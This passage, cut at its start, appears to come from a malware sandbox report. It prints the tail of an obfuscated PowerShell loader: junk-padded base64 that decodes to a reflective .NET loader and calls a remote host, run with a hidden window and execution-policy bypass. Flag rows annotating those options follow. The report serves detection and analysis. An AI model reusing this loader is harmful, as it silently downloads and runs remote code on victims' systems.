piWvNwtCGUDpiWvNwtCNgDpiWvNwtC0DpiWvNwtCFMDpiWvNwtCdDpiWvNwtCByDpiWvNwtCGkDpiWvNwtCbgBnDpiWvNwtCCgDpiWvNwtCJDpiWvNwtCBiDpiWvNwtCGEDpiWvNwtCcwBlDpiWvNwtCDYDpiWvNwtCNDpiWvNwtCBDDpiWvNwtCG8DpiWvNwtCbQBtDpiWvNwtCGEDpiWvNwtCbgBkDpiWvNwtCCkDpiWvNwtCOwDpiWvNwtCkDpiWvNwtCGwDpiWvNwtCbwBhDpiWvNwtCGQDpiWvNwtCZQBkDpiWvNwtCEEDpiWvNwtCcwBzDpiWvNwtCGUDpiWvNwtCbQBiDpiWvNwtCGwDpiWvNwtCeQDpiWvNwtCgDpiWvNwtCD0DpiWvNwtCIDpiWvNwtCBbDpiWvNwtCFMDpiWvNwtCeQBzDpiWvNwtCHQDpiWvNwtCZQBtDpiWvNwtCC4DpiWvNwtCUgBlDpiWvNwtCGYDpiWvNwtCbDpiWvNwtCBlDpiWvNwtCGMDpiWvNwtCdDpiWvNwtCBpDpiWvNwtCG8DpiWvNwtCbgDpiWvNwtCuDpiWvNwtCEEDpiWvNwtCcwBzDpiWvNwtCGUDpiWvNwtCbQBiDpiWvNwtCGwDpiWvNwtCeQBdDpiWvNwtCDoDpiWvNwtCOgBMDpiWvNwtCG8DpiWvNwtCYQBkDpiWvNwtCCgDpiWvNwtCJDpiWvNwtCBjDpiWvNwtCG8DpiWvNwtCbQBtDpiWvNwtCGEDpiWvNwtCbgBkDpiWvNwtCEIDpiWvNwtCeQB0DpiWvNwtCGUDpiWvNwtCcwDpiWvNwtCpDpiWvNwtCDsDpiWvNwtCJDpiWvNwtCB0DpiWvNwtCHkDpiWvNwtCcDpiWvNwtCBlDpiWvNwtCCDpiWvNwtCDpiWvNwtCPQDpiWvNwtCgDpiWvNwtCCQDpiWvNwtCbDpiWvNwtCBvDpiWvNwtCGEDpiWvNwtCZDpiWvNwtCBlDpiWvNwtCGQDpiWvNwtCQQBzDpiWvNwtCHMDpiWvNwtCZQBtDpiWvNwtCGIDpiWvNwtCbDpiWvNwtCB5DpiWvNwtCC4DpiWvNwtCRwBlDpiWvNwtCHQDpiWvNwtCVDpiWvNwtCB5DpiWvNwtCHDpiWvNwtCDpiWvNwtCZQDpiWvNwtCoDpiWvNwtCCcDpiWvNwtCRgBpDpiWvNwtCGIDpiWvNwtCZQByDpiWvNwtCC4DpiWvNwtCSDpiWvNwtCBvDpiWvNwtCG0DpiWvNwtCZQDpiWvNwtCnDpiWvNwtCCkDpiWvNwtCOwDpiWvNwtCkDpiWvNwtCG0DpiWvNwtCZQB0DpiWvNwtCGgDpiWvNwtCbwBkDpiWvNwtCCDpiWvNwtCDpiWvNwtCPQDpiWvNwtCgDpiWvNwtCCQDpiWvNwtCdDpiWvNwtCB5DpiWvNwtCHDpiWvNwtCDpiWvNwtCZQDpiWvNwtCuDpiWvNwtCEcDpiWvNwtCZQB0DpiWvNwtCE0DpiWvNwtCZQB0DpiWvNwtCGgDpiWvNwtCbwBkDpiWvNwtCCgDpiWvNwtCJwBWDpiWvNwtCEEDpiWvNwtCSQDpiWvNwtCnDpiWvNwtCCkDpiWvNwtCLgBJDpiWvNwtCG4DpiWvNwtCdgBvDpiWvNwtCGsDpiWvNwtCZQDpiWvNwtCoDpiWvNwtCCQDpiWvNwtCbgB1DpiWvNwtCGwDpiWvNwtCbDpiWvNwtCDpiWvNwtCsDpiWvNwtCCDpiWvNwtCDpiWvNwtCWwBvDpiWvNwtCGIDpiWvNwtCagBlDpiWvNwtCGMDpiWvNwtCdDpiWvNwtCBbDpiWvNwtCF0DpiWvNwtCXQDpiWvNwtCgDpiWvNwtCCgDpiWvNwtCJwBkDpiWvNwtCEgDpiWvNwtCaDpiWvNwtCDpiWvNwtCwDpiWvNwtCEwDpiWvNwtCbQBoDpiWvNwtCGkDpiWvNwtCTDpiWvNwtCDpiWvNwtCyDpiWvNwtCDkDpiWvNwtCegBhDpiWvNwtCFMDpiWvNwtCODpiWvNwtCDpiWvNwtCzDpiWvNwtCE4DpiWvNwtCQwDpiWvNwtC0DpiWvNwtCDQDpiWvNwtCTQBEDpiWvNwtCEUDpiWvNwtCdQBNDpiWvNwtCHkDpiWvNwtCNDpiWvNwtCB5DpiWvNwtCE8DpiWvNwtCVDpiWvNwtCBFDpiWvNwtCHYDpiWvNwtCTDpiWvNwtCB6DpiWvNwtCHDpiWvNwtCDpiWvNwtCdwBkDpiWvNwtCEgDpiWvNwtCUgBvDpiWvNwtCCcDpiWvNwtCIDpiWvNwtCDpiWvNwtCsDpiWvNwtCCDpiWvNwtCDpiWvNwtCJwDpiWvNwtCnDpiWvNwtCCDpiWvNwtCDpiWvNwtCLDpiWvNwtCDpiWvNwtCgDpiWvNwtCCcDpiWvNwtCMgDpiWvNwtCnDpiWvNwtCCDpiWvNwtCDpiWvNwtCLDpiWvNwtCDpiWvNwtCgDpiWvNwtCCcDpiWvNwtCcgBlDpiWvNwtCGcDpiWvNwtCYQBzDpiWvNwtCG0DpiWvNwtCcwDpiWvNwtCnDpiWvNwtCCDpiWvNwtCDpiWvNwtCLDpiWvNwtCDpiWvNwtCgDpiWvNwtCCcDpiWvNwtCNDpiWvNwtCDpiWvNwtCnDpiWvNwtCCDpiWvNwtCDpiWvNwtCLDpiWvNwtCDpiWvNwtCgDpiWvNwtCCcDpiWvNwtCQwDpiWvNwtC6DpiWvNwtCFwDpiWvNwtCVwBpDpiWvNwtCG4DpiWvNwtCZDpiWvNwtCBvDpiWvNwtCHcDpiWvNwtCcwBcDpiWvNwtCFQDpiWvNwtCZQBtDpiWvNwtCHDpiWvNwtCDpiWvNwtCXDpiWvNwtCDpiWvNwtCnDpiWvNwtCCwDpiWvNwtCIDpiWvNwtCDpiWvNwtCnDpiWvNwtCGgDpiWvNwtCdDpiWvNwtCBtDpiWvNwtCGwDpiWvNwtCJwDpiWvNwtCpDpiWvNwtCCkDpiWvNwtC';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DpiWvNwtC','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" | ||||||
| option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
| option | -noprofile | value | Does not load current user profile | ||||||
| option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
| option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
| option | -noprofile | value | Does not load current user profile | ||||||
| option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
| option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
| option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
| option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
| option | -noprofile | value | Does not load current user profile | ||||||
| option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
| file | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |